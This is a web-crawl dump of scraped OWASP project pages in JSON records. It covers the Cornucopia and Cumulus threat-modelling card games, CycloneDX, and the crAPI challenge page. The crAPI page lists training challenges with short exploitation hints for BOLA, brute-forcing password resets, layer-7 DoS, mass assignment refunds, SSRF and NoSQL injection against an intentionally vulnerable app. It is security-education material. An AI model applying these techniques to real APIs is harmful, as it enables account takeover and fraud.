game?\n\nYes of course. All OWASP materials are free to do with as you like provided you comply with the Creative Commons Attribution-ShareAlike 3.0 license. Perhaps if you create a new version, you might donate it to the OWASP Cornucopia Project?\n\n### How can I get involved?\n\nPlease send ideas or offers of help to the project’s List/Group.\n\n### How were the attackers’ names chosen?\n\nEoP begins every description with words like “An attacker can…”. These have to be phrased as an attack but I was not keen on the anonymous terminology, wanting something more engaging, and therefore used personal names. These can be thought of as external or internal people or aliases for computer systems. But instead of just random names, I thought how they might reflect the OWASP community aspect. Therefore, apart from “Alice and Bob”, the original Ecommerce Website Edition used the given (first) names of current and recent OWASP employees and Board members (assigned in no order), and then randomly selected the remaining 50 or so names from the current list of paying individual OWASP members. No name was used more than once, and where people had provided two personal names, we dropped one part to try to ensure no-one can be easily identified. Names were not deliberately allocated to any particular attack, defence or requirement. The cultural and gender mix simply reflects theses sources of names, and is not meant to be world-representative. Some names have been changed over the years to include some more recent project volunteers.\n\n### Why aren’t there any images on the card faces?\n\nThere is quite a lot of text on the cards, and the cross-referencing takes up space too. But it would be great to have additional design elements included.\n\n### Are the attacks ranked by the number on the card?\n\nOnly approximately. The risk will be application and organisation dependent, due to varying security and compliance requirements, so your own severity rating may place the cards in some other order than the numbers on the cards.\n\n### How long does it take to play a round of cards using the full deck?\n\nThis depends upon the amount of discussion and how familiar the players are with application security concepts. But perhaps allow 1.5 to 2.0 hours for 4-6 people.\n\n### What sort of people should play the game?\n\nAlways try to have a mix of roles who can contribute alternative perspectives. But include someone who has a reasonable knowledge of application vulnerability terminology. Otherwise try to include a mix of architects, developers, testers and a relevant project manager or business owner.\n\n### Who should take notes and record scores?\n\nIt is better if that someone else, not playing the game, takes notes about the requirements identified and issues discussed. This could be used as training for a more junior developer, or performed by the project manager. Some organisations have made a recording to review afterwards when the requirements are written up more formally.\n\n### Should we always use the full deck of cards?\n\nNo. A smaller deck is quicker to play. Start your first game with only enough cards for two or three rounds. Always consider removing cards that are not appropriate at all of the target application or function being reviewed. For the first few times people play the game it is also usually better to remove the Aces and the two Jokers. It is also usual to play the game without any trumps suit until people are more familiar with the idea.\n\n### What should players do when they have an Ace card that says “invented a new X attack”?\n\nThe player can make up any attack they think is valid, but must match the suit of the card e.g. data validation and encoding). With players new to the game, it can be better to remove these to begin with.\n\n### I don’t understand what the attack means on each card - is there more detailed information?\n\nYes, the card browser on our website has more information on what each card means. The website was created to help players understand the attacks. See [cornucopia.owasp.org](https://cornucopia.owasp.org/cards).\n\n---\n\n## Acknowledgements\n\n### Volunteers\n\nCornucopia is developed, maintained, updated and promoted by a worldwide team of volunteers. The contributors to date have been:\n\nPlease see [cornucuopia.owasp.org](https://cornucopia.owasp.org/about#Acknowledgements) for a full list.\n\nAnd please let us know if we have missed anyone.\n\n---\n\n## Road Map\n\n### v2.x\n\nBelow is a preliminary summary of our wishes, dreams and aspirations for Cornucopia. If you have suggestions, ideas, please feel free to discuss them on our [email list](https://groups.google.com/a/owasp.org/g/cornucopia-project) or submit them to our [list of issues](https://github.com/OWASP/cornucopia/issues) in our repository. \nIf you feel like and have the opportunity to help with any of the issues below, do not hesitate to get in touch.\n\nOrdered alphabetically and not according to priority.\n\n- Build the requirement map on the card using OpenCRE for easier maintainence and collaboration. [cornucopia #595](https://github.com/OWASP/cornucopia/issues/595)\n- Endpoint per card with more information available on copi. [copi #6](https://github.com/secure-delivery/copi/issues/6)\n- Ensure the converter can create print-ready proofs for print-on-demand jobs.\n- Include QR codes on the Cornucopia cards. [cornucopia #382](https://github.com/OWASP/cornucopia/issues/382) :heavy_check_mark:\n- Language review of the existing translations. [cornucopia #596](https://github.com/OWASP/cornucopia/issues/596)\n- Migrate the wiki deck to github wiki. [cornucopia #1](https://github.com/OWASP/www-project-cornucopia/issues/1) :heavy_check_mark:\n- Seek worldwide translators and incorporate additional translations for other languages.\n\n## Getting Involved\n\nInvolvement in the development and promotion of Cornucopia is actively encouraged! You do not have to be a security expert in order to contribute. Some of the ways you can help are listed below.\n\n### Localization\n\nAre you fluent in another language? Can you help translate Cornucopia into that language? Note this is a very large task due to the number of documents involved, but the strings are now all available in textual data files.\n\n### Use and Promote the Cornucopia Card Decks\n\nPlease help raise awareness of Cornucopia by:\n\n- Printing decks of cards and giving them away\n- Using Cornucopia with specifiers, architects, designers, developers, testers and others, in part to train them, but also to solicit feedback on their usability, practicality and appropriateness for their work\n- Creating videos about how to play the game\n- Developing a mobile app to play the game\n\n### Feedback\n\nPlease use the friendly project [Google Group](https://groups.google.com/a/owasp.org/forum/#!forum/cornucopia-project) for feedback:\n\n- What do you like?\n- What don’t you like?\n- What cards don’t make sense?\n- How could the guidance be improved?\n- What other decks would you like to see?\n\n### Keep the Cards Updated\n\nAs the source referenced documents change, we have to update the decks. You may also find errors and omissions. In the first instance, please send a message to the project’s [Google Group](https://groups.google.com/a/owasp.org/forum/#!forum/cornucopia-project) if you have identified errors & omissions, have some time to maintain the source documents, or can help in other ways.\n\n### Create a New Deck\n\nThe first deck, Cornucopia Ecommerce Website Edition, has been renamed Cornucopia Website App Edition and is currently available in six languages. There is also a mobile app specific deck called Cornucopia Mobile App Edition available in English only. Do you have an idea for your own application security requirements card deck?\n\n---\n\n[Watch](https://github.com/owasp/www-project-cornucopia/subscription) [Star](https://github.com/owasp/www-project-cornucopia)", "znaku_textu": 12603, "slov": 1753, "odkazu": 85, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:54:31", "sha256": "b802e8e070d5a3f2d076035a6e18f18ff266bc9594092eb6f617147d38546b67", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://bestpractices.coreinfrastructure.org/projects/7125", "https://codeclimate.com/github/OWASP/cornucopia/maintainability", "https://codeclimate.com/github/OWASP/cornucopia/test_coverage", "http://www.safecode.org/", "https://safecode.org/publication/SAFECode_Agile_Dev_Security0712.pdf", "https://cornucopia.owasp.org/", "https://cornucopia.owasp.org/about", "http://creativecommons.org/licenses/by-sa/3.0/", "https://www.microsoft.com/en-gb/download/details.aspx?id=20303", "http://securitycards.cs.washington.edu/", "http://www.controlalthack.com/", "http://www.youtube.com/watch?v=Kpnvsgiiz8s", "http://itsecgames.blogspot.co.uk/", "https://shostack.org/games.html", "https://github.com/OWASP/cornucopia/releases/tag/v2.0.0", "https://copi.owasp.org/", "https://agilestationery.co.uk/", "https://agilestationery.com/products/owasp-cornucopia-2-0-website-app-edition-threat-modeling-cards?_pos=2&_psq=cornucipia&_ss=e&_v=1.0", "https://agilestationery.com/products/owasp-cornucopia-mobile-app-edition-threat-modeling-cards?_pos=3&_psq=cornucip&_ss=e&_v=1.0", "https://croupier.agilestationery.co.uk/", "https://www.dotnetlab.eu/", "https://webshop.dotnetlab.eu/product/cornucopia-card-deck/", "https://cornucopia.dotnetlab.eu/cards", "https://cornucopia.owasp.org/printing", "https://github.com/OWASP/cornucopia/releases", "https://cornucopia.owasp.org/how-to-play", "https://cornucopia.owasp.org/cards", "https://groups.google.com/a/owasp.org/g/cornucopia-project", "https://github.com/OWASP/cornucopia/issues", "https://github.com/OWASP/cornucopia/issues/595", "https://github.com/secure-delivery/copi/issues/6", "https://github.com/OWASP/cornucopia/issues/583", "https://github.com/OWASP/cornucopia/issues/382", "https://github.com/OWASP/cornucopia/issues/596", "https://github.com/OWASP/www-project-cornucopia/issues/1", "https://groups.google.com/a/owasp.org/forum/", "https://github.com/owasp/www-project-cornucopia/subscription", "https://github.com/owasp/www-project-cornucopia", "http://cornucopia.owasp.org/", "https://youtu.be/i5Y0akWj31k", "https://youtu.be/XXTPXozIHow", "https://youtu.be/7ZfJBZBY7Bw", "https://github.com/OWASP/cornucopia", "http://trustedsoftwarealliance.com/2014/03/21/the-owasp-cornucopia-project-with-colin-watson/", "http://youtu.be/Q_LE-8xNXVk", "https://www.pcisecuritystandards.org/pdfs/PCI_DSS_v2_eCommerce_Guidelines.pdf", "https://www.pcisecuritystandards.org/", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-cornucopia/assets/files/Cornucopia-scoresheet.pdf", "titulek": "", "h1": "", "popis": "", "klicova_slova": "", "kanonicka": "", "jazyk": "", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "", "znaku_textu": 0, "slov": 0, "odkazu": 0, "kodovani": "", "kodovani_deklarovane": null, "format": "pdf", "bajtu": 54521, "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-15 00:42:43", "sha256": "6cbfd957ee9cc440b3e4ed45d97122d9423d435cd8800636d833b4f15bf8aab6", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "application/pdf", "odkazy_externi": []} {"url": "https://owasp.org/www-project-cornucopia/assets/files/cornucopia-scoresheet-mobileapp.pdf", "titulek": "", "h1": "", "popis": "", "klicova_slova": "", "kanonicka": "", "jazyk": "", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "", "znaku_textu": 0, "slov": 0, "odkazu": 0, "kodovani": "", "kodovani_deklarovane": null, "format": "pdf", "bajtu": 167679, "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-15 00:42:54", "sha256": "f66ac52e43a3e0c17bd963f13e1f5e3c1591bdc3139b4e4fa81f8802cb31396e", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "application/pdf", "odkazy_externi": []} {"url": "https://owasp.org/www-project-crapi/", "titulek": "OWASP crAPI | OWASP Foundation", "h1": "OWASP crAPI", "popis": "crAPI will help you to understand the ten most critical API security risks. crAPI is vulnerable by design, but you'll be able to safely run it to educate/train yourself.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-crapi/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "crAPI will help you to understand the ten most critical API security risks. crAPI is vulnerable by design, but you'll be able to safely run it to educate/train yourself.", "og:title": "OWASP crAPI | OWASP Foundation", "og:url": "https://owasp.org/www-project-crapi/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP crAPI"}, {"uroven": 2, "text": "What is crAPI?"}, {"uroven": 1, "text": "Intro"}, {"uroven": 2, "text": "Challenges"}, {"uroven": 3, "text": "BOLA Vulnerabilities"}, {"uroven": 4, "text": "Challenge 1 - Access details of another user’s vehicle"}, {"uroven": 4, "text": "Challenge 2 - Access mechanic reports of other users"}, {"uroven": 3, "text": "Broken User Authentication"}, {"uroven": 4, "text": "Challenge 3 - Reset the password of a different user"}, {"uroven": 3, "text": "Excessive Data Exposure"}, {"uroven": 4, "text": "Challenge 4 - Find an API endpoint that leaks sensitive information of other users"}, {"uroven": 4, "text": "Challenge 5 - Find an API endpoint that leaks an internal property of a video"}, {"uroven": 3, "text": "Rate Limiting"}, {"uroven": 4, "text": "Challenge 6 - Perform a layer 7 DoS using ‘contact mechanic’ feature"}, {"uroven": 3, "text": "BFLA"}, {"uroven": 4, "text": "Challenge 7 - Delete a video of another user"}, {"uroven": 3, "text": "Mass Assignment"}, {"uroven": 4, "text": "Challenge 8 - Get an item for free"}, {"uroven": 4, "text": "Challenge 9 - Increase your balance by $1,000 or more"}, {"uroven": 4, "text": "Challenge 10 - Update internal video properties"}, {"uroven": 3, "text": "SSRF"}, {"uroven": 4, "text": "Challenge 11 - Make crAPI send an HTTP call to “www.google.com” and return the HTTP response."}, {"uroven": 3, "text": "NoSQL Injection"}, {"uroven": 4, "text": "Challenge 12 - Find a way to get free coupons without knowing the coupon code."}, {"uroven": 2, "text": "« 2 secret challenges »"}], "markdown": "# OWASP crAPI\n\n## What is crAPI?\n\ncrAPI stands for “Completely Ridiculous API”. It simulates an API-driven, microservice-based web application that is a platform for vehicle owners.\n\nFollowing in the footsteps of Webgoat and JuiceShop, crAPI is an intentionally vulnerable application. However, crAPI is primarily filled with API vulnerabilities for the purpose of teaching, learning, and practicing API security.\n\nYou will not find the mundane XSS and SQLi challenges in crAPI. crAPI specializes in the common vulnerabilities that happen in modern API-based applications, including all those in the OWASP Top 10 for APIs. All the challenges in crAPI are based on real-life vulnerabilities that were found in APIs of big companies like Facebook, Uber, and Shopify.\n\ncrAPI exposes many different vulnerabilities with a range of difficulties — some of them are easy to find, and others require multiple steps, brain cracking and creativity to exploit. Enjoy exploring and learning with crAPI!\n\n---\n\n# Intro\n\nThis is the crAPI challenge page.\n\ncrAPI (Completely Ridiculous Application Programmer Interface) defines an API which is intentionally vulnerable to the OWASP API Top 10 vulnerabilities. crAPI is meant to illustrate and educate by presenting these issues for you to discover and exploit.\n\nThe crAPI challenge is for you to find and exploit as many of these vulnerabilities as you can.\n\nThere are two approaches to hack crAPI - the first is to look at it as a complete black box test, where you get no directions, but just try to understand the app from scratch and hack it.\n\nThe second approach is using this page, which will give you an idea about which vulnerabilities exist in crAPI and will direct you on how to exploit them.\n\n## Challenges\n\n### BOLA Vulnerabilities\n\n#### Challenge 1 - Access details of another user’s vehicle\n\nTo solve the challenge, you need to leak sensitive information of another user’s vehicle.\n\n- Since vehicle IDs are not sequential numbers, but GUIDs, you need to find a way to expose the vehicle ID of another user.\n- Find an API endpoint that receives a vehicle ID and returns information about it.\n\n#### Challenge 2 - Access mechanic reports of other users\n\ncrAPI allows vehicle owners to contact their mechanics by submitting a “contact mechanic” form. This challenge is about accessing mechanic reports that were submitted by other users.\n\n- Analyze the report submission process\n- Find an hidden API endpoint that exposes details of a mechanic report\n- Change the report ID to access other reports\n\n### Broken User Authentication\n\n#### Challenge 3 - Reset the password of a different user\n\n- Find an email address of another user on crAPI\n- Brute forcing might be the answer. If you face any protection mechanisms, remember to leverage the predictable nature of REST APIs to find more similar API endpoints.\n\n### Excessive Data Exposure\n\n#### Challenge 4 - Find an API endpoint that leaks sensitive information of other users\n\n#### Challenge 5 - Find an API endpoint that leaks an internal property of a video\n\nIn this challenge, you need to find an internal property of the video resource that shouldn’t be exposed to the user. This property name and value can help you to exploit other vulnerabilities.\n\n### Rate Limiting\n\n#### Challenge 6 - Perform a layer 7 DoS using ‘contact mechanic’ feature\n\n### BFLA\n\n#### Challenge 7 - Delete a video of another user\n\n- Leverage the predictable nature of REST APIs to find an admin endpoint to delete videos\n- Delete a video of someone else\n\n### Mass Assignment\n\n#### Challenge 8 - Get an item for free\n\ncrAPI allows users to return items they have ordered. You simply click the “return order” button, receive a QR code and show it in a USPS store.\nTo solve this challenge, you need to find a way to get refunded for an item that you haven’t actually returned.\n\n- Leverage the predictable nature of REST APIs to find a shadow API endpoint that allows you to edit properties of a specific order.\n\n#### Challenge 9 - Increase your balance by $1,000 or more\n\nAfter solving the “Get an item for free” challenge, be creative and find a way to get refunded for an item you never returned, but this time try to get a bigger refund.\n\n#### Challenge 10 - Update internal video properties\n\nAfter solving the “Find an API endpoint that leaks an internal property of videos” challenge, try to find an endpoint that would allow you to change the internal property of the video. Changing the value can help you to exploit another vulnerability.\n\n### SSRF\n\n#### Challenge 11 - Make crAPI send an HTTP call to “[www.google.com](www.google.com)” and return the HTTP response.\n\n### NoSQL Injection\n\n#### Challenge 12 - Find a way to get free coupons without knowing the coupon code.\n\n## « 2 secret challenges »\n\nThere are two more secret challenges in crAPI, that are pretty complex, and for now we don’t share details about them, except the fact they are really cool.\n\n---\n\n[Watch](https://github.com/owasp/www-project-crapi/subscription) [Star](https://github.com/owasp/www-project-crapi)", "znaku_textu": 4890, "slov": 797, "odkazu": 29, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:38:28", "sha256": "d3f3a9636c86700704f057acc5332451058ecfe19f19cb0eb96a32d398b8588d", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/owasp/www-project-crapi/subscription", "https://github.com/owasp/www-project-crapi", "https://github.com/OWASP/crAPI", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-cumulus/", "titulek": "OWASP Cumulus | OWASP Foundation", "h1": "OWASP Cumulus", "popis": "Cumulus. Threat Modeling the Clouds.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-cumulus/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Cumulus. Threat Modeling the Clouds.", "og:title": "OWASP Cumulus | OWASP Foundation", "og:url": "https://owasp.org/www-project-cumulus/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Cumulus"}, {"uroven": 1, "text": "Threat modeling the clouds"}, {"uroven": 2, "text": "Threat Modeling"}, {"uroven": 2, "text": "Acknowledgements"}, {"uroven": 2, "text": "Versioning"}, {"uroven": 2, "text": "Licensing"}, {"uroven": 2, "text": "Rules of the game"}, {"uroven": 2, "text": "Online Version"}, {"uroven": 2, "text": "Printed Cards"}, {"uroven": 2, "text": "Cumulus in Media"}, {"uroven": 2, "text": "Contribute"}, {"uroven": 3, "text": "Review and discuss"}, {"uroven": 3, "text": "Contribute to the cards"}, {"uroven": 3, "text": "Contribute to documentation"}], "markdown": "# OWASP Cumulus\n\n[⤓ Download](https://github.com/OWASP/cumulus/releases/latest)\n\n# *Threat modeling the clouds*\n\nCumulus is the easy way to bring security into cloud and devOps teams.\n\nAs a variant of the card game Elevation of Privilege it follows the idea to threat model a system via gamification.\nThis lightweight and low-barrier approach helps you find threats to your devOps or cloud project and teaches the developers a security oriented mindset.\n\nFind the latest release [here](https://github.com/OWASP/cumulus/releases/latest).\n\n## Threat Modeling\n\nThe idea of threat modeling via serious games goes back to the card game [Elevation of Privilege](https://shostack.org/games/elevation-of-privilege) by [Adam Shostack](https://github.com/adamshostack).\nThe basic idea is to bring the developers on a table and get them start discussing the security of their system.\nFor this, a card game serves as a guide through a catalogue of threats.\nIt is designed to be low-barrier and naturally embeddable within agile development processes.\n\nWhile the original game approaches security in general and another variant, Cornucopia by the OWASP Foundation, targets (web) application security in particular, we had the feeling that the specific needs of devOps team working in cloud environments have been missing.\nCumulus seeks to fill this gap and provides a custom card deck with threats to cloud systems.\n\nThreats are classified into the categories (which are also the suits in this game):\n\n| Category | |\n| --- | --- |\n| Access & Secrets | Threats related to IAM and secrets management |\n| Delivery | Build and ship software, and its supply chain |\n| Recovery | Backup and restore |\n| Monitoring | Logs, alerts and traceability |\n| Resources | Threats on resources and their configuration |\n\nThis game does explicitly **not** try to replace Elevation of Privilege or Cornucopia.\nIt should rather be seen as part of a triplet of threat modeling card decks, reflecting different aspects of modern software development projects.\n\n## Acknowledgements\n\nCumulus was started at and it heavily supported by [TNG Technology Consulting](https://www.tngtech.com/en/index.html).\n\nThe original and wonderful idea of conducting threat modeling via serious games goes back to [Adam Shostack](https://github.com/adamshostack), working for Microsoft at that time.\nHe invented the game [Elevation of Privilege](https://shostack.org/games/elevation-of-privilege) which is the blue print for Cumulus.\n\nAnother great game following Elevation of Privilege’s approach to threat modeling is [Cornucopia](https://owasp.org/www-project-cornucopia/) developed by the [OWASP Foundation](https://owasp.org/).\n\nBoth card games are great tools to help development teams increase the security of the system they are building.\n\nHowever, we felt the need for a threat modeling card game targeting devOps/cloud projects in particular.\nOut of this idea, Cumulus arose.\n\n## Versioning\n\nThe card deck follows [semantic versioning](https://semver.org/).\nVersion changes mean:\n\n- *patch version* : Non-semantic changes: layout, typos, minor re-wordings, …\n- *minor version* : Semantic changes: rephrasings, additional cards…\n- *major version* : Substantial semantic changes: new categories, …\n\n## Licensing\n\nThe card game (including the threat formulations and the released PDF) files are distributed under [CC-BY-4.0](https://creativecommons.org/licenses/by/4.0/).\nWhen distributing this game, mentioning [TNG Technology Consulting](https://www.tngtech.com/en/index.html) is highly appreciated.\n\n---\n\n## Rules of the game\n\nCumulus ist trick-taking card game, similar to spades.\n\nThe objective is to collect as many points as possible, either by taking a trick or by finding threats.\nAt the end of the game the winner is the player with the most points.\n\nIn preparation of the game a system model, e.g. an architectural overview, is generated.\nIdeally, this is in the form of a data flow diagram, but in the end every overview which is understood by the players is fine.\nAdditionally, the players agree on a starting suit, i.e. a threat category.\n\nAfter distributing the cards amongst the players, the game starts.\nThe first dealer is the player holding the lowest card in the starting suit.\nThe dealer plays a card in the starting suit.\nEach of the other players has to follow the suit during that round.\nIf that is not possible, the player can choose any card on hand.\nThe winner of the round takes the trick and is the one who played the highest value card in the round’s suit or the highest trump card.\n\nTrumps are cards from the suit **access & secrets**.\n\nThe winner then receives a point, starts a new round and chooses the new suit.\nEach time a new card is played, all players are asked to think about whether that particular threat, mentioned on the current card, applies to their system in some form.\nIf a threat is found (and the team agrees that this is a topic to look at), it is written down and the finder receives an extra point.\n\nAs Cumulus shares the same rules as Elevation of Privilege and Cornucopia, you can find alternative explanations of the rules [here](https://owasp.org/www-project-cornucopia/) or [here, chapter 2](http://download.microsoft.com/download/F/A/E/FAE1434F-6D22-4581-9804-8B60C04354E4/EoP_Whitepaper.pdf)\n\nAlso, Cornucopia has a wonderful explanation of the rules as a [Video on YouTube](https://www.youtube.com/watch?app=desktop&v=XXTPXozIHow&ab_channel=OWASPFoundation).\n\n---\n\n## Online Version\n\nWe also maintain an online version of Cumulus, which you can easily host yourselves.\nIt can be found at\n\n[https://github.com/tng/elevation-of-privilege](https://github.com/tng/elevation-of-privilege)\n\nAlternatively, Cumulus can be played at [copi.owasp.org](https://copi.owasp.org), see [the release notes](https://github.com/OWASP/cornucopia/releases/tag/v2.4.0).\n\n---\n\n## Printed Cards\n\nPrinted versions of the cards are available at [Agile Stationary](https://agilestationery.com/collections/threat-modeling).\n\nIf you want to print them yourselves, the [download](https://github.com/OWASP/cumulus/releases/latest) also contains printer-friendly versions.\n\n---\n\n## Cumulus in Media\n\n- 2025-11-27: Cumulus was presented at the German OWASP Day 2025 in Düsseldorf. [Recording (en)](https://media.ccc.de/v/god2025-56482-owasp-cumulus-threat-model)\n- 2025-06-26: [Blogpost about Cumulus](https://dev.to/owasp/no-need-to-fear-the-clouds-play-owasp-cumulus-d6g) written by [Johan Sydseter](https://github.com/sydseter) from OWASP Cornucopia.\n- 2025-05-29: Cumulus was presented at the OWASP Global AppSec Conference in Barcelona: [Slides](assets/pdf/20250529_OWASPGlobalAppSec_Cumulus.pdf)\n- 2025-05-20: [Threat Modeling Connect Spieleabend](https://lu.ma/njsexjws) : [Slides](assets/pdf/20250520_TMC-DACH.pdf) *(in German)*\n- 2025-03-25: Interview about Cumulus in the [Medical Device Cybersecurity Podcast](https://youtu.be/aMpIgmX9WZQ) .\n- 2023-12-14: The c’t magazine features an article about DevOps security and Cumulus:\n - [IT-Sicherheit: Eine Security-Einführung für DevOps-Teams](https://heise.de/-9573277) (German, behind paywall)\n- 2023-04-06: Cumulus appears in [Adam Shostack’s blog](https://shostack.org/blog/cumulus-threat-model-thursday/)\n\n---\n\n## Contribute\n\nContributions to Cumulus are very much appreciated.\nIn the end, this card deck is intended to be a community project.\nIt should change and evolve in the same pace as cloud technologies and their particular security requirements change.\n\n### Review and discuss\n\nFeedback, reviews and other opinions are very welcome.\nThis card game is only as helpful as its threats are relevant.\nLet’s work together to constantly improve the cards!\n\nThe best way is to simply create an [issue](https://github.com/OWASP/cumulus/issues) to start a discussion.\nBut you can also reach out to the project leads.\n\n### Contribute to the cards\n\nChanges to the threat formulations are welcome as pull requests to [cards.tex](https://github.com/OWASP/cumulus/blob/main/cards.tex).\n\n### Contribute to documentation\n\nWhen writing the threats we tried to condense each security issue into a single sentence.\nAlthough a sufficiently general (but maybe also vague) formulation can foster discussions, it can also hinder beginners to understand the threats.\nWe would love to provide further explanations and examples to the cards.\n\nHelp (in the form of formulating explanations or giving real-world examples) are very much appreciated.\nJust contact the project leads.\n\n---\n\n[Watch](https://github.com/owasp/www-project-cumulus/subscription) [Star](https://github.com/owasp/www-project-cumulus)", "znaku_textu": 8468, "slov": 1156, "odkazu": 57, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:54:30", "sha256": "5e6c58fcafc16286703e6af912aa6fe58e18f5b10e02e7f8c5a569b19739ee45", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/cumulus/releases/latest", "https://shostack.org/games/elevation-of-privilege", "https://github.com/adamshostack", "https://www.tngtech.com/en/index.html", "https://semver.org/", "https://creativecommons.org/licenses/by/4.0/", "http://download.microsoft.com/download/F/A/E/FAE1434F-6D22-4581-9804-8B60C04354E4/EoP_Whitepaper.pdf", "https://www.youtube.com/watch?ab_channel=OWASPFoundation&app=desktop&v=XXTPXozIHow", "https://github.com/tng/elevation-of-privilege", "https://copi.owasp.org/", "https://github.com/OWASP/cornucopia/releases/tag/v2.4.0", "https://agilestationery.com/collections/threat-modeling", "https://media.ccc.de/v/god2025-56482-owasp-cumulus-threat-model", "https://dev.to/owasp/no-need-to-fear-the-clouds-play-owasp-cumulus-d6g", "https://github.com/sydseter", "https://lu.ma/njsexjws", "https://youtu.be/aMpIgmX9WZQ", "https://heise.de/-9573277", "https://shostack.org/blog/cumulus-threat-model-thursday/", "https://github.com/OWASP/cumulus/issues", "https://github.com/OWASP/cumulus/blob/main/cards.tex", "https://github.com/owasp/www-project-cumulus/subscription", "https://github.com/owasp/www-project-cumulus", "https://github.com/OWASP/cumulus", "https://github.com/OWASP/cumulus/releases", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-cumulus/assets/pdf/20250520_TMC-DACH.pdf", "titulek": "", "h1": "", "popis": "", "klicova_slova": "", "kanonicka": "", "jazyk": "", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "", "znaku_textu": 0, "slov": 0, "odkazu": 0, "kodovani": "", "kodovani_deklarovane": null, "format": "pdf", "bajtu": 1971627, "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-15 00:42:05", "sha256": "114a1235fbee627c643390c272d677faaccd2afdd28f422d24ccef65692a9470", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "application/pdf", "odkazy_externi": []} {"url": "https://owasp.org/www-project-cumulus/assets/pdf/20250529_OWASPGlobalAppSec_Cumulus.pdf", "titulek": "", "h1": "", "popis": "", "klicova_slova": "", "kanonicka": "", "jazyk": "", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "", "znaku_textu": 0, "slov": 0, "odkazu": 0, "kodovani": "", "kodovani_deklarovane": null, "format": "pdf", "bajtu": 2852244, "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-15 00:42:01", "sha256": "fe1741c538fce79349d30f8badc9efcd2589acdfe8cb50150c025efb0ab11d7d", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "application/pdf", "odkazy_externi": []} {"url": "https://owasp.org/www-project-cyclonedx/", "titulek": "OWASP CycloneDX (ECMA-424) | OWASP Foundation", "h1": "OWASP CycloneDX (ECMA-424)", "popis": "OWASP CycloneDX is a full-stack Bill of Materials (BOM) standard that provides advanced supply chain capabilities for cyber risk reduction.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-cyclonedx/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OWASP CycloneDX is a full-stack Bill of Materials (BOM) standard that provides advanced supply chain capabilities for cyber risk reduction.", "og:title": "OWASP CycloneDX (ECMA-424) | OWASP Foundation", "og:url": "https://owasp.org/www-project-cyclonedx/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP CycloneDX (ECMA-424)"}, {"uroven": 1, "text": "CycloneDX Bill of Materials Specification (ECMA-424)"}, {"uroven": 2, "text": "Resources"}, {"uroven": 2, "text": "CycloneDX Unplugged"}, {"uroven": 2, "text": "Financial Supporters"}, {"uroven": 2, "text": "Industry Working Group Supporters"}], "markdown": "# OWASP CycloneDX (ECMA-424)\n\n# CycloneDX Bill of Materials Specification (ECMA-424)\n\nOWASP CycloneDX is a full-stack Bill of Materials (BOM) standard that provides advanced supply chain capabilities for\ncyber risk reduction. CycloneDX is an [Ecma International](https://ecma-international.org/) standard published as\n[ECMA-424](https://ecma-international.org/publications-and-standards/standards/ecma-424/).\nThe [OWASP Foundation](https://owasp.org/) and Ecma International [Technical Committee for Software & System Transparency (TC54)](https://tc54.org/)\ndrive the continued advancement of the specification.\n\nThe specification supports:\n\n- Software Bill of Materials (SBOM)\n- Software-as-a-Service Bill of Materials (SaaSBOM)\n- Hardware Bill of Materials (HBOM)\n- Machine Learning Bill of 